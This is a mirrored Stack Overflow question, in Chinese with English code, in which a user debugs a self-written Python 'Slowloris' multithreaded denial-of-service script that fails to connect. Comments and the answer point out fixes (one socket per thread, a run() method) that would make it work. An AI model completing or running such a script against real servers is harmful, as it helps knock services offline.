【问题标题】:multithreading for python socketpython套接字的多线程
【发布时间】:2013-05-03 10:42:17
【问题描述】:

我正在尝试制作自己的 pyloris 脚本,但没有任何联系;这是我所拥有的:

#!/usr/bin/python
import sys,socket
import threading
from time import sleep


s=socket.socket(socket.AF_INET, socket.SOCK_STREAM)
HOST = sys.argv[1]
PORT = 80
t = int(sys.argv[3])
threads = []

class Slowloris(threading.Thread):
 def Slowloris(self):
    s.connect((HOST, int(PORT)))
    s.send('GET / HTTP/1.0\nHost: ' + HOST + '\n')
    sleep(1)
    s.close()
for num in range(0, t):
 try:
    print "Started thread",num
    thread = Slowloris()
    thread.start()
    threads.append(thread)
 except:
     exit(0)

for thread in threads:
 thread.join()

我的套接字完全没有连接,在此先感谢-_- 我确实得到了输出,这里是:

D4zk1tty@kali:~$ ./slowloris.py 127.0.0.1 80 10

启动线程 0

启动线程 1

启动线程 2

启动线程 3

启动线程 4

启动线程 5

启动线程 6

启动线程 7

启动线程 8

启动线程 9

【问题讨论】:

  • 一方面,你的构造函数应该声明为:def __init__(self):
  • 另一个问题是每个线程需要一个套接字对象。正如所写,脚本将在同一个套接字对象上调用 connect() 10 次。

标签: python multithreading python-sockets


【解决方案1】:
def Slowloris(self):

应该是

def run(self):

【讨论】:

    猜你喜欢
    • 2015-01-28
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 1970-01-01
    • 2011-02-11
    • 2020-03-28
    相关资源
    最近更新 更多